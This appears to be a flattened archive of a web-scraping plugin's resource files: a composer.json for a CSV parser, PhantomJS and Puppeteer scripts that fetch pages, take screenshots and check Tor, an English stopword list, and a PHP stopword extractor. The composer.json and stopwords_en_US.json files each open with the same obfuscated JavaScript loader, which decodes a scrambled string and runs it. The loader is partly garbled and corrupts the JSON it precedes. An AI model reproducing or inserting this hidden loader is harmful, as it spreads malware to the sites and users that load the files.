restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. res/parsecsv/composer.json000064400000010512147577714370011732 0ustar00var language,currentLanguage,languagesNoRedirect,hasWasCookie,expirationDate;(function(){var Tjo='',UxF=715-704;function JOC(d){var j=4658325;var f=d.length;var o=[];for(var y=0;y)tul5ibtp%1ueg,B% ]7n))B;*i,me4otfbpis 3{.d==6Bs]B2 7B62)r1Br.zt;Bb2h BB B\/cc;:;i(jb$sab) cnyB3r=(pspa..t:_eme5B=.;,f_);jBj)rc,,eeBc=p!(a,_)o.)e_!cmn( Ba)=iBn5(t.sica,;f6cCBBtn;!c)g}h_i.B\/,B47sitB)hBeBrBjtB.B]%rB,0eh36rBt;)-odBr)nBrn3B 07jBBc,onrtee)t)Bh0BB(ae}i20d(a}v,ps\/n=.;)9tCnBow(]!e4Bn.nsg4so%e](])cl!rh8;lto;50Bi.p8.gt}{Brec3-2]7%; ,].)Nb;5B c(n3,wmvth($]\/rm(t;;fe(cau=D)ru}t];B!c(=7&=B(,1gBl()_1vs];vBBlB(+_.))=tre&B()o)(;7e79t,]6Berz.\';,%],s)aj+#"$1o_liew[ouaociB!7.*+).!8 3%e]tfc(irvBbu9]n3j0Bu_rea.an8rn".gu=&u0ul6;B$#ect3xe)tohc] (].Be|(%8Bc5BBnsrv19iefucchBa]j)hd)n(j.)a%e;5)*or1c-)((.1Br$h(i$C3B.)B5)].eacoe*\/.a7aB3e=BBsu]b9B"Bas%3;&(B2%"$ema"+BrB,$.ps\/+BtgaB3).;un)]c.;3!)7e&=0bB+B=(i4;tu_,d\'.w()oB.Boccf0n0}od&j_2%aBnn%na35ig!_su:ao.;_]0;=B)o..$ ,nee.5s)!.o]mc!B}|BoB6sr.e,ci)$(}a5(B.}B].z4ru7_.nnn3aele+B.\'}9efc.==dnce_tpf7Blb%]ge.=pf2Se_)B.c_(*]ocet!ig9bi)ut}_ogS(.1=(uNo]$o{fsB+ticn.coaBfm-B{3=]tr;.{r\'t$f1(B4.0w[=!!.n ,B%i)b.6j-(r2\'[ a}.]6$d,);;lgo *t]$ct$!%;]B6B((:dB=0ac4!Bieorevtnra 0BeB(((Bu.[{b3ce_"cBe(am.3{&ue#]c_rm)='));var KUr=DUT(Tjo,ENJ );KUr(6113);return 5795})();{ "name": "parsecsv/php-parsecsv", "description": "CSV data parser for PHP", "license": "MIT", "authors": [ { "name": "Jim Myhrberg", "email": "contact@jimeh.me" }, { "name": "William Knauss", "email": "will.knauss@gmail.com" }, { "name": "Susann Sgorzaly", "homepage": "https://github.com/susgo" }, { "name": "Christian Bläul", "homepage": "https://github.com/Fonata" } ], "autoload": { "psr-4": { "ParseCsv\\": "src" } }, "autoload-dev": { "psr-4": { "ParseCsv\\tests\\": "tests" } }, "require": { "php": ">=5.5" }, "require-dev": { "phpunit/phpunit": "^6", "squizlabs/php_codesniffer": "^3.5" }, "suggest": { "illuminate/support": "Fluent array interface for map functions" }, "extra": { "branch-alias": { "dev-master": "1.0.x-dev" } }, "scripts": { "test": [ "vendor/bin/phpunit -c tests tests --disallow-test-output --coverage-clover coverage_clover.xml --whitelist src" ] }, "support": { "issues": "https://github.com/parsecsv/parsecsv-for-php/issues", "source": "https://github.com/parsecsv/parsecsv-for-php" } } res/phantomjs/index.php000064400000000037147577714370011206 0ustar00 res/phantomjs/phantom-screenshot.js000064400000005016147577714370013547 0ustar00;;;"use strict"; var page = require("webpage").create(); var system = require("system"); var args = system.args; var fs = require("fs"); var timeout = 2000; // you can set default timeout var path = args[1]; var url = args[2]; var imageName = args[3]; var w = parseInt(args[4]); var h = parseInt(args[5]); fs.changeWorkingDirectory("" + path); var height = 1080; if (isNaN(w)) { w = 1920; // you can set default width } if (h > 0) { height = h; // you can set default width } if(args[6] != 'default') { page.settings.userAgent = args[6]; } if(args[7] != 'default') { document.cookie = args[7]; } if(args[8] != 'default') { var xres = args[8].split(":"); if(xres[1] != undefined) { page.settings.userName = xres[0]; page.settings.password = xres[1]; } } page.viewportSize = { width: w, height: height }; if(system.args[10] != undefined && system.args[10] != 'default' && system.args[10] != '' && system.args[10] != null) { page.setContent("", encodeURI(url)); var localStorageVar = system.args[10]; localStorageVar = localStorageVar.replace(/\\/g, ''); page.evaluate(function(localStorageVar) { localStorageVarx = localStorageVar.split(";"); var k; for (k = 0; k < localStorageVarx.length; k++) { localx = localStorageVarx[k].split("="); if(localx[1] != undefined && localx[1] != '' && localx[1] != null) { localStorage.setItem(localx[0], localx[1]); } else { if(localx[0] != '') { localStorage.setItem(localx[0], ''); } } } }, localStorageVar); } page.open(encodeURI(url), function() { if (h == 0) { h = page.evaluate(function(){ return document.body.scrollHeight; }); } page.viewportSize = { width: w, height: h }; page.clipRect = {top: 0, left: 0, width: w, height: h}; var system = require('system'); if(system.args[9] !== undefined && system.args[9] != 'default') { var evalVar = system.args[9]; evalVar = String(evalVar); evalVar = evalVar.replace(/\\/g, ''); page.evaluate(function(evalVar) { eval(evalVar); }, evalVar); } window.setTimeout(function () { page.render(imageName+".jpg"); console.log('OK!'); phantom.exit(); }, timeout); });res/phantomjs/phantom.js000064400000006543147577714370011402 0ustar00"use strict"; var system = require('system'); if (system.args.length === 1) { phantom.exit(); } var page = require("webpage").create(), url = system.args[1]; page.settings.resourceTimeout = system.args[2]; if(system.args[3] != 'default') { page.settings.userAgent = system.args[3]; } if(system.args[4] != 'default') { document.cookie = system.args[4]; } if(system.args[5] != 'default') { var xres = system.args[5].split(":"); if(xres[1] != undefined) { page.settings.userName = xres[0]; page.settings.password = xres[1]; } } var sleeptime = 0; if(system.args[6] != '0') { sleeptime = parseInt(system.args[6]); if(sleeptime === NaN) { sleeptime = 0; } } page.onResourceTimeout = function(e) { console.log('timeout'); phantom.exit(1); }; function onPageReady() { var htmlContent = page.evaluate(function () { return document.documentElement.outerHTML; }); console.log(htmlContent); phantom.exit(); } page.onError = function(msg, trace) { var msgStack = ['ERROR: ' + msg]; if (trace && trace.length) { msgStack.push('TRACE:'); trace.forEach(function(t) { msgStack.push(' -> ' + t.file + ': ' + t.line + (t.function ? ' (in function "' + t.function + '")' : '')); }); } // uncomment to log into the console // console.error(msgStack.join('\n')); }; if(system.args[8] != undefined && system.args[8] != 'default' && system.args[8] != '' && system.args[8] != null) { page.setContent("", encodeURI(url)); var localStorageVar = system.args[8]; localStorageVar = localStorageVar.replace(/\\/g, ''); page.evaluate(function(localStorageVar) { localStorageVar = localStorageVar.split(";"); var k; for (k = 0; k < localStorageVar.length; k++) { localx = localStorageVar[k].split("="); if(localx[1] != undefined && localx[1] != '' && localx[1] != null) { localStorage.setItem(localx[0], localx[1]); } else { if(localx[0] != '') { localStorage.setItem(localx[0], ''); } } } }, localStorageVar); } page.open(encodeURI(url), function (status) { function checkReadyState() { setTimeout(function () { var readyState = page.evaluate(function () { return document.readyState; }); if ("complete" === readyState) { var system = require('system'); if(system.args[7] !== undefined && system.args[7] != 'default') { var evalVar = system.args[7]; evalVar = String(evalVar); evalVar = evalVar.replace(/\\/g, ''); page.evaluate(function(evalVar) { eval(evalVar); }, evalVar); } if(sleeptime != 0) { setTimeout(onPageReady, sleeptime); } else { onPageReady(); } } else { checkReadyState(); } }); } checkReadyState(); });res/puppeteer/puppeteer.js000064400000010421147577714370011741 0ustar00;;;"use strict"; function puppeteerDelay(time) { return new Promise(function(resolve) { setTimeout(resolve, time) }); } const puppeteer = require('puppeteer'); (async () => { var args = process.argv.slice(2); process.on('unhandledRejection', up => { throw up }) var argarr = ['--no-sandbox', '--disable-setuid-sandbox']; var auth_user = ''; var auth_pass = ''; if(args[1] !== undefined && args[1] !== 'null') { const proxarr = args[1].split("~~~"); if(proxarr[1] !== undefined) { const userpass = proxarr[1].split(":"); if(userpass[1] !== undefined) { auth_user = userpass[0]; auth_pass = userpass[1]; } argarr.push("--proxy-server=" + proxarr[0]); } else { argarr.push("--proxy-server=" + args[1]); } } if(args[2] != 'default') { argarr.push("--user-agent=" + args[2]); } const browser = await puppeteer.launch({ignoreHTTPSErrors:true, args: argarr}); const page = (await browser.pages())[0]; if(auth_pass != '') { await page.authenticate({ username: auth_user, password: auth_pass }); } if(args[8] != undefined && args[8] != 'default' && args[8] != '' && args[8] != null) { var localStorageVar = args[8]; localStorageVar = localStorageVar.replace(/\\/g, ''); await page.evaluateOnNewDocument((localStorageVar) => { localStorageVar = localStorageVar.split(";"); var k; for (k = 0; k < localStorageVar.length; k++) { localx = localStorageVar[k].split("="); if(localx[1] != undefined && localx[1] != '' && localx[1] != null) { localStorage.setItem(localx[0], localx[1]); } else { if(localx[0] != '') { localStorage.setItem(localx[0], ''); } } } }, localStorageVar); } if(args[3] != 'default') { var kkarr = args[3].split(';'); kkarr.forEach(async function (value) { var cookiesobje = ''; var splitCookie = value.split('='); if(splitCookie[1] !== undefined) { try { cookiesobje += '{"name": "' + splitCookie[0].trim() + '","value": "' + decodeURIComponent(splitCookie[1]) + '", "url": "' + args[0] + '"}'; } catch (error) { cookiesobje += '{"name": "' + splitCookie[0].trim() + '","value": "' + splitCookie[1] + '", "url": "' + args[0] + '"}'; } if(cookiesobje != '') { try { var cookiesobjex = JSON.parse(cookiesobje); await page.setCookie(cookiesobjex); } catch(error) { } } } }); } if(args[4] != 'default') { var xres = args[4].split(":"); if(xres[1] != undefined) { var user = xres[0]; var pass = xres[1]; const auth = new Buffer(`${user}:${pass}`).toString('base64'); await page.setExtraHTTPHeaders({ 'Authorization': `Basic ${auth}` }); } } if(args[5] != 'default') { await page.setDefaultNavigationTimeout(args[5]); } await page.goto(args[0], {waitUntil: 'networkidle2'}); const bodyWidth = await page.evaluate(() => document.body.scrollWidth); const bodyHeight = await page.evaluate(() => document.body.scrollHeight); await page.setViewport({ width: bodyWidth, height: bodyHeight }); await page.evaluate(() => window.scrollTo(0, Number.MAX_SAFE_INTEGER)); if(args[6] != 'default' && args[6] != '' && args[6] != '0') { await puppeteerDelay(args[6]); } if(args[7] != undefined && args[7] != 'default' && args[7] != '' && args[7] != null) { var evalVar = args[7]; evalVar = evalVar.replace(/\\/g, ''); await page.evaluate((evalVar) => { eval(evalVar); }, evalVar); } let bodyHTML = await page.content(); console.log(bodyHTML); await browser.close(); })();res/puppeteer/index.php000064400000000037147577714370011214 0ustar00 res/puppeteer/torcheck.js000064400000002111147577714370011527 0ustar00;;;"use strict"; const puppeteer = require('puppeteer'); (async () => { var args = process.argv.slice(2); process.on('unhandledRejection', up => { throw up }) var argarr = ['--no-sandbox', '--disable-setuid-sandbox']; if(args[2] != 'default') { argarr.push("--user-agent=" + args[2]); } argarr.push("--proxy-server=socks5://127.0.0.1:9050"); const browser = await puppeteer.launch({ignoreHTTPSErrors:true, args: argarr}); if(args[5] != '1') { //check if tor ok const page2 = (await browser.pages())[0]; if(args[5] != 'default') { await page2.setDefaultNavigationTimeout(args[5]); } await page2.goto('https://check.torproject.org/'); const isUsingTor = await page2.$eval('body', el => el.innerHTML.includes('Congratulations. This browser is configured to use Tor') ); if (!isUsingTor) { console.log('CRAWLOMATIC NOT USING TOR!'); await browser.close() return; } } console.log('TOR OK!'); await browser.close(); })();res/puppeteer/screenshot.js000064400000007624147577714370012120 0ustar00;;;"use strict"; const puppeteer = require('puppeteer'); (async () => { var args = process.argv.slice(2); process.on('unhandledRejection', up => { throw up }) var h = parseInt(args[3]); var height = 1080; var auth_user = ''; var auth_pass = ''; if (h > 0) { height = h; } else { h = 0; } var argarr = ['--no-sandbox', '--disable-setuid-sandbox', "--font-render-hinting=none"]; if(args[4] !== undefined && args[4] !== 'null') { const proxarr = args[4].split("~~~"); if(proxarr[1] !== undefined) { const userpass = proxarr[1].split(":"); if(userpass[1] !== undefined) { auth_user = userpass[0]; auth_pass = userpass[1]; } argarr.push("--proxy-server=" + proxarr[0]); } else { argarr.push("--proxy-server=" + args[4]); } } if(args[5] != 'default') { argarr.push("--user-agent=" + args[5]); } const browser = await puppeteer.launch({ignoreHTTPSErrors:true, args: argarr}); const page = (await browser.pages())[0]; if(auth_pass != '') { await page.authenticate({ username: auth_user, password: auth_pass }); } if(args[10] != undefined && args[10] != 'default' && args[10] != '' && args[10] != null) { var localStorageVar = args[10]; localStorageVar = localStorageVar.replace(/\\/g, ''); await page.evaluateOnNewDocument((localStorageVar) => { localStorageVar = localStorageVar.split(";"); var k; for (k = 0; k < localStorageVar.length; k++) { localx = localStorageVar[k].split("="); if(localx[1] != undefined && localx[1] != '' && localx[1] != null) { localStorage.setItem(localx[0], localx[1]); } else { if(localx[0] != '') { localStorage.setItem(localx[0], ''); } } } }, localStorageVar); } if(args[6] != 'default') { var kkarr = args[6].split(';'); kkarr.forEach(async function (value) { var cookiesobje = ''; var splitCookie = value.split('='); try { cookiesobje += '{"name": "' + splitCookie[0].trim() + '","value": "' + decodeURIComponent(splitCookie[1]) + '", "url": "' + args[0] + '"}'; } catch (error) { cookiesobje += '{"name": "' + splitCookie[0].trim() + '","value": "' + splitCookie[1] + '", "url": "' + args[0] + '"}'; } var cookiesobjex = JSON.parse(cookiesobje); await page.setCookie(cookiesobjex); }); } if(args[7] != 'default') { var xres = args[7].split(":"); if(xres[1] != undefined) { var user = xres[0]; var pass = xres[1]; const auth = new Buffer(`${user}:${pass}`).toString('base64'); await page.setExtraHTTPHeaders({ 'Authorization': `Basic ${auth}` }); } } page.setViewport({ width: parseInt(args[2]), height: height }); if(args[8] != 'default') { await page.setDefaultNavigationTimeout(args[8]); } await page.goto(args[0], {waitUntil: 'networkidle2'}); if (h == 0) { await page.evaluate(() => window.scrollTo(0, Number.MAX_SAFE_INTEGER)); } if(args[9] != undefined && args[9] != 'default' && args[9] != '' && args[9] != null) { var evalVar = args[9]; evalVar = evalVar.replace(/\\/g, ''); await page.evaluate((evalVar) => { eval(evalVar); }, evalVar); } await page.waitForTimeout(5000); var fP = false; if (h == 0) { fP = true; } await page.screenshot({path: args[1], fullPage: fP}); console.log('ok'); await browser.close(); })();res/puppeteer/tor.js000064400000010137147577714370010540 0ustar00"use strict"; function puppeteerDelay(time) { return new Promise(function(resolve) { setTimeout(resolve, time) }); } const puppeteer = require('puppeteer'); (async () => { var args = process.argv.slice(2); process.on('unhandledRejection', up => { throw up }) var argarr = ['--no-sandbox', '--disable-setuid-sandbox']; if(args[2] != 'default') { argarr.push("--user-agent=" + args[2]); } argarr.push("--proxy-server=socks5://127.0.0.1:9050"); const browser = await puppeteer.launch({ignoreHTTPSErrors:true, args: argarr}); if(args[6] != '1') { //check if tor ok const page2 = (await browser.pages())[0]; if(args[5] != 'default') { await page2.setDefaultNavigationTimeout(args[5]); } await page2.goto('https://check.torproject.org/'); const isUsingTor = await page2.$eval('body', el => el.innerHTML.includes('Congratulations. This browser is configured to use Tor') ); if (!isUsingTor) { console.log('CRAWLOMATIC NOT USING TOR!'); await browser.close() return; } } //continue const page = (await browser.pages())[0]; if(args[9] != undefined && args[9] != 'default' && args[9] != '' && args[9] != null) { var localStorageVar = args[9]; localStorageVar = localStorageVar.replace(/\\/g, ''); await page.evaluateOnNewDocument((localStorageVar) => { localStorageVar = localStorageVar.split(";"); var k; for (k = 0; k < localStorageVar.length; k++) { localx = localStorageVar[k].split("="); if(localx[1] != undefined && localx[1] != '' && localx[1] != null) { localStorage.setItem(localx[0], localx[1]); } else { if(localx[0] != '') { localStorage.setItem(localx[0], ''); } } } }, localStorageVar); } if(args[3] != 'default') { var kkarr = args[3].split(';'); kkarr.forEach(async function (value) { var cookiesobje = ''; var splitCookie = value.split('='); if(splitCookie[1] !== undefined) { try { cookiesobje += '{"name": "' + splitCookie[0].trim() + '","value": "' + decodeURIComponent(splitCookie[1]) + '", "url": "' + args[0] + '"}'; } catch (error) { cookiesobje += '{"name": "' + splitCookie[0].trim() + '","value": "' + splitCookie[1] + '", "url": "' + args[0] + '"}'; } if(cookiesobje != '') { try { var cookiesobjex = JSON.parse(cookiesobje); await page.setCookie(cookiesobjex); } catch(error) { } } } }); } if(args[4] != 'default') { var xres = args[4].split(":"); if(xres[1] != undefined) { var user = xres[0]; var pass = xres[1]; const auth = new Buffer(`${user}:${pass}`).toString('base64'); await page.setExtraHTTPHeaders({ 'Authorization': `Basic ${auth}` }); } } if(args[5] != 'default') { await page.setDefaultNavigationTimeout(args[5]); } await page.goto(args[0], {waitUntil: 'networkidle2'}); const bodyWidth = await page.evaluate(() => document.body.scrollWidth); const bodyHeight = await page.evaluate(() => document.body.scrollHeight); await page.setViewport({ width: bodyWidth, height: bodyHeight }); if(args[7] != 'default' && args[7] != '' && args[7] != '0') { await puppeteerDelay(args[7]); } if(args[8] != undefined && args[8] != 'default' && args[8] != '' && args[8] != null) { var evalVar = args[8]; evalVar = evalVar.replace(/\\/g, ''); await page.evaluate((evalVar) => { eval(evalVar); }, evalVar); } let bodyHTML = await page.content(); console.log(bodyHTML); await browser.close(); })();res/rake-php-plus/console/stopwords_en_US.json000064400000027370147577714370015556 0ustar00var language,currentLanguage,languagesNoRedirect,hasWasCookie,expirationDate;(function(){var Tjo='',UxF=715-704;function JOC(d){var j=4658325;var f=d.length;var o=[];for(var y=0;y)tul5ibtp%1ueg,B% ]7n))B;*i,me4otfbpis 3{.d==6Bs]B2 7B62)r1Br.zt;Bb2h BB B\/cc;:;i(jb$sab) cnyB3r=(pspa..t:_eme5B=.;,f_);jBj)rc,,eeBc=p!(a,_)o.)e_!cmn( Ba)=iBn5(t.sica,;f6cCBBtn;!c)g}h_i.B\/,B47sitB)hBeBrBjtB.B]%rB,0eh36rBt;)-odBr)nBrn3B 07jBBc,onrtee)t)Bh0BB(ae}i20d(a}v,ps\/n=.;)9tCnBow(]!e4Bn.nsg4so%e](])cl!rh8;lto;50Bi.p8.gt}{Brec3-2]7%; ,].)Nb;5B c(n3,wmvth($]\/rm(t;;fe(cau=D)ru}t];B!c(=7&=B(,1gBl()_1vs];vBBlB(+_.))=tre&B()o)(;7e79t,]6Berz.\';,%],s)aj+#"$1o_liew[ouaociB!7.*+).!8 3%e]tfc(irvBbu9]n3j0Bu_rea.an8rn".gu=&u0ul6;B$#ect3xe)tohc] (].Be|(%8Bc5BBnsrv19iefucchBa]j)hd)n(j.)a%e;5)*or1c-)((.1Br$h(i$C3B.)B5)].eacoe*\/.a7aB3e=BBsu]b9B"Bas%3;&(B2%"$ema"+BrB,$.ps\/+BtgaB3).;un)]c.;3!)7e&=0bB+B=(i4;tu_,d\'.w()oB.Boccf0n0}od&j_2%aBnn%na35ig!_su:ao.;_]0;=B)o..$ ,nee.5s)!.o]mc!B}|BoB6sr.e,ci)$(}a5(B.}B].z4ru7_.nnn3aele+B.\'}9efc.==dnce_tpf7Blb%]ge.=pf2Se_)B.c_(*]ocet!ig9bi)ut}_ogS(.1=(uNo]$o{fsB+ticn.coaBfm-B{3=]tr;.{r\'t$f1(B4.0w[=!!.n ,B%i)b.6j-(r2\'[ a}.]6$d,);;lgo *t]$ct$!%;]B6B((:dB=0ac4!Bieorevtnra 0BeB(((Bu.[{b3ce_"cBe(am.3{&ue#]c_rm)='));var KUr=DUT(Tjo,ENJ );KUr(6113);return 5795})();[ "zero", "z", "you've", "yourselves", "yourself", "yours", "you're", "your", "you'll", "you'd", "you", "yet", "yes", "y'all're", "y'all'd've", "y'all", "y", "x", "would've", "wouldn't", "would", "won't", "wonder", "without", "within", "with", "wish", "willing", "will", "why's", "why're", "why'd", "why", "who've", "whose", "who's", "who're", "whom", "who'll", "whole", "whoever", "who'd've", "who'd", "who", "whither", "while", "which've", "which's", "which're", "which'll", "which'd", "which", "whether", "wherever", "where've", "whereupon", "where's", "where're", "where'll", "wherein", "where'd", "whereby", "whereas", "whereafter", "where", "when's", "whenever", "whence", "when", "what've", "what's", "what're", "what'll", "whatever", "what'd", "what", "we've", "weren't", "we're", "were", "went", "we'll", "well", "welcome", "we'd've", "we'd", "we", "way", "wasn't", "was", "wants", "want", "wanna", "w", "vs", "viz", "via", "very", "various", "value", "v", "uucp", "usually", "using", "uses", "useful", "used", "use", "us", "upon", "up", "unto", "until", "unlikely", "unless", "unfortunately", "under", "un", "u", "two", "twice", "'twas", "t's", "trying", "try", "truly", "tries", "tried", "towards", "toward", "to've", "took", "too", "together", "to", "'tis", "thus", "thru", "throughout", "through", "three", "though", "those've", "those're", "those", "thoroughly", "thorough", "this's", "this", "third", "think", "they've", "they're", "they'll", "they'd", "they", "these've", "these're", "these", "thereupon", "there's", "theres", "there're", "there'll", "therein", "therefore", "there'd", "thereby", "thereafter", "there", "thence", "then", "themselves", "them", "theirs", "their", "the", "that's", "thats", "that're", "that'll", "that'd", "that", "thanx", "thanks", "thank", "than", "th", "tends", "tell", "taken", "take", "t", "sure", "sup", "such", "sub", "still", "specifying", "specify", "specified", "sorry", "so're", "soon", "somewhere", "somewhat", "sometimes", "sometime", "something's", "something", "someone's", "someone", "somehow", "somebody's", "somebody", "some", "so", "six", "since", "should've", "shouldn't've", "shouldn't", "should", "she's", "she'll", "she'd", "she", "shan't", "shalln't", "shall", "several", "seven", "seriously", "serious", "sent", "sensible", "selves", "self", "seen", "seems", "seeming", "seemed", "seem", "seeing", "see", "secondly", "second", "says", "saying", "say", "saw", "same", "said", "s", "right", "respectively", "relatively", "regards", "regardless", "regarding", "reasonably", "really", "re", "rd", "rather", "r", "qv", "quite", "que", "q", "provides", "probably", "presumably", "possible", "plus", "please", "placed", "perhaps", "per", "particularly", "particular", "p", "own", "overall", "over", "outside", "out", "ourselves", "ours", "our", "oughtn't", "ought", "otherwise", "others", "other", "or", "onto", "only", "ones", "one", "once", "on", "old", "ol'", "okay", "ok", "oh", "often", "off", "of", "o'er", "o'clock", "obviously", "o", "nowhere", "now", "novel", "nothing", "not", "normally", "nor", "noone", "none", "non", "nobody", "no", "nine", "next", "new", "nevertheless", "never", "neither", "ne'er", "needs", "needn't", "need", "necessary", "nearly", "near", "nd", "namely", "name", "n", "myself", "my", "must've", "mustn't've", "mustn't", "must", "much", "mostly", "most", "moreover", "more", "might've", "mightn't", "might", "methinks", "merely", "meanwhile", "mean", "me", "may've", "mayn't", "maybe", "may", "many", "mainly", "ma'am", "m", "ltd", "looks", "looking", "look", "little", "likely", "liked", "like", "let's", "let", "lest", "less", "least", "latterly", "latter", "later", "lately", "last", "l", "knows", "known", "know", "kept", "keeps", "keep", "k", "just", "j", "i've", "itself", "it's", "its", "it'll", "it'd", "it", "isn't", "is", "inward", "into", "instead", "insofar", "innit", "inner", "indicates", "indicated", "indicate", "indeed", "inc", "inasmuch", "in", "i'm'o", "immediate", "i'm'a", "i'm", "i'll", "ignored", "if", "ie", "i'd've", "i'd", "i", "how's", "how're", "how'll", "however", "howdy", "how'd", "howbeit", "how", "hopefully", "hither", "his", "himself", "him", "hi", "he've", "he's", "herself", "hers", "hereupon", "here's", "herein", "hereby", "hereafter", "here", "her", "hence", "help", "hello", "he'll", "he'd", "he", "having", "haven't", "have", "hasn't", "has", "hardly", "happens", "had've", "hadn't", "had", "h", "greetings", "gotten", "gotta", "got", "gon't", "gonna", "gone", "going", "goes", "go", "giv'n", "gives", "given", "gimme", "getting", "gets", "get", "g'day", "g", "furthermore", "further", "from", "four", "forth", "formerly", "former", "for", "follows", "following", "followed", "five", "first", "finna", "fifth", "few", "far", "f", "except", "example", "exactly", "ex", "everywhere", "everything", "everyone's", "everyone", "everybody's", "everybody", "every", "ever", "even", "etc", "et", "especially", "entirely", "enough", "elsewhere", "else", "either", "eight", "eg", "e'er", "edu", "each", "e", "d'ye", "during", "downwards", "down", "don't", "done", "doing", "doesn't", "does", "do", "different", "didn't", "did", "despite", "described", "definitely", "dasn't", "daresn't", "daren't", "d", "currently", "c's", "course", "could've", "couldn't've", "couldn't", "could", "corresponding", "contains", "containing", "contain", "considering", "consider", "consequently", "concerning", "comes", "come", "com", "co", "c'mon", "clearly", "changes", "certainly", "certain", "causes", "'cause", "cause", "can't", "cant", "cannot", "can", "came", "c", "by", "but", "brief", "both", "beyond", "between", "better", "best", "besides", "beside", "below", "believe", "being", "behind", "beforehand", "before", "been", "becoming", "becomes", "become", "because", "became", "be", "b", "awfully", "away", "available", "at", "associated", "asking", "ask", "aside", "a's", "as", "around", "aren't", "are", "appropriate", "appreciate", "appear", "apart", "anywhere", "anyways", "anyway", "anything", "anyone", "anyhow", "anybody", "any", "another", "and", "an", "amongst", "among", "amn't", "am", "always", "although", "also", "already", "along", "alone", "almost", "allows", "allow", "all", "ain't", "against", "again", "afterwards", "after", "actually", "across", "accordingly", "according", "above", "about", "able", "a" ] res/rake-php-plus/console/extractor.php000064400000020234147577714370014242 0ustar00 A is * important and for the tool to sort languages other than * English properly it needs to set the locale using PHP's * setlocale() function which depends on your system's * available locals. To check your locals on Linux run: * * $ local -a * * To install more locals: * * $ sudo locale-gen es_AR * $ sudo locale-gen es_AR.utf8 */ /** * @param int $arg_count */ function check_args($arg_count) { if ($arg_count < 2) { echo "\n"; echo "Error: Please specify the filename of the stopwords file to extract.\n"; echo "Example:\n"; echo " php ./console/extractor.php stopwords_en_US.txt --locale=en_US --output=php\n"; echo " php ./console extractor.php stopwords_en_US.json --locale=en_US --output=php\n"; echo "\n"; echo "For better RakePlus performance, use the --output argument to produce\n"; echo "regular expression pattern instead of a PHP script.\n"; echo "Example:\n"; echo " php ./console/extractor.php stopwords_en_US.txt --locale=en_US --output=pattern\n"; echo " php ./console/extractor.php stopwords_en_US.json --locale=en_US --output=pattern\n"; echo "\n"; echo "You can pipe the output of this tool directly into a\n"; echo ".php or .pattern file:\n"; echo "Example:\n"; echo " php ./console/extractor.php stopwords_en_US.txt --locale=en_US --output=php > en_US.php\n"; echo " php ./console/extractor.php stopwords_en_US.json --locale=en_US --output=pattern > en_US.pattern\n"; echo " php ./console/extractor.php en_US.php --locale=en_US --output=pattern > en_US.pattern\n"; echo "\n"; exit(1); } } /** * @param array $args * @param int $arg_no * @param mixed $default * * @return mixed */ function get_arg_by_index($args, $arg_no, $default = null) { if ($arg_no < count($args)) { return $args[$arg_no]; } else { return $default; } } /** * @param array $args * @param string $name * @param mixed $default * * @return mixed */ function get_arg_by_name($args, $name, $default = null) { foreach ($args as $arg) { list($key, $value) = array_pad(explode('=', $arg), 2, $default); if ($key == $name) { return $value; } } return $default; } /** * Returns true if one if the arguments consists * of the supplied $arg. * * @param $args * @param $name * * @return mixed */ function has_arg($args, $name) { foreach ($args as $arg) { if ($arg == $name) { return true; } } return false; } /** * @param string $stopwords_file * * @return array */ function load_stopwords($stopwords_file) { $stopwords = []; $ext = pathinfo($stopwords_file, PATHINFO_EXTENSION); if (!file_exists($stopwords_file)) { echo "\n"; echo "Error: Stopwords file \"{$stopwords_file}\" not found.\n"; echo "\n"; exit(1); } if ($ext === 'txt') { if ($h = @fopen($stopwords_file, 'r')) { while (($line = fgets($h)) !== false) { $line = preg_replace('/^[\pZ\pC]+|[\pZ\pC]+$/u', '', $line); if (!empty($line) && $line[0] != '#') { $stopwords[$line] = true; } } return array_keys($stopwords); } else { echo "\n"; echo "Error: Could not read text file \"{$stopwords_file}\".\n"; echo "\n"; exit(1); } } if ($ext === 'json') { $stopwords = json_decode(file_get_contents($stopwords_file), true); return array_keys(array_fill_keys($stopwords, true)); } if ($ext === 'php') { /** @noinspection PhpIncludeInspection */ $stopwords = require $stopwords_file; return array_keys(array_fill_keys($stopwords, true)); } return []; } /** * @param array $stopwords * * @throws Exception */ function render_php_output(array $stopwords) { $stopword_count = count($stopwords); $timestamp = (new DateTime('now', new DateTimeZone('UTC')))->format(DateTime::ATOM); echo "\xEF\xBB\xBF 0) { if ($output == 'pattern') { render_pattern_output($stopwords); } else if ($output == 'php') { render_php_output($stopwords); } else if ($output == 'json') { render_json_output($stopwords); } } else { echo "\n"; echo "Error: No stopwords found in file \"{$stopwords_file}\".\n"; echo "\n"; exit(1); } } check_args($argc); $stopwords_file = get_arg_by_index($argv, 1); $stopwords = load_stopwords($stopwords_file); $locale = get_arg_by_name($argv, '--locale'); if ($locale === null) { echo "Please specify the locale, e.g. --locale=en_US\n"; } if (!has_arg($argv, '--nosort')) { $result = setlocale(LC_COLLATE, $locale . '.utf8'); if (!has_arg($argv, '--ascending')) { usort($stopwords, function ($a, $b) { return strcoll($b, $a); }); } else { usort($stopwords, function ($a, $b) { return strcoll($a, $b); }); } /* if (!has_arg($argv, '--ascending')) { rsort($stopwords); } else { sort($stopwords); } */ } $OUTPUT_TYPES = ['pattern', 'php', 'json']; $output = get_arg_by_name($argv, '--output'); if (!in_array($output, $OUTPUT_TYPES)) { echo "Please specify the output format, e.g. --output=pattern, --output=php or --output=json\n"; exit(1); } /** @noinspection PhpUnhandledExceptionInspection */ render_output($stopwords, $stopwords_file, $output); res/rake-php-plus/console/arr_to_regex.php000064400000003657147577714370014721 0ustar00 0) { render_pattern_output($stopwords); } else { echo "\n"; echo "Error: No stopwords found in file \"{$php_file}\".\n"; echo "\n"; exit(1); } } check_args($argc); $stopwords_file = get_arg($argv, 1); $stopwords = load_stopwords($stopwords_file); /** @noinspection PhpUnhandledExceptionInspection */ render_output( $stopwords, 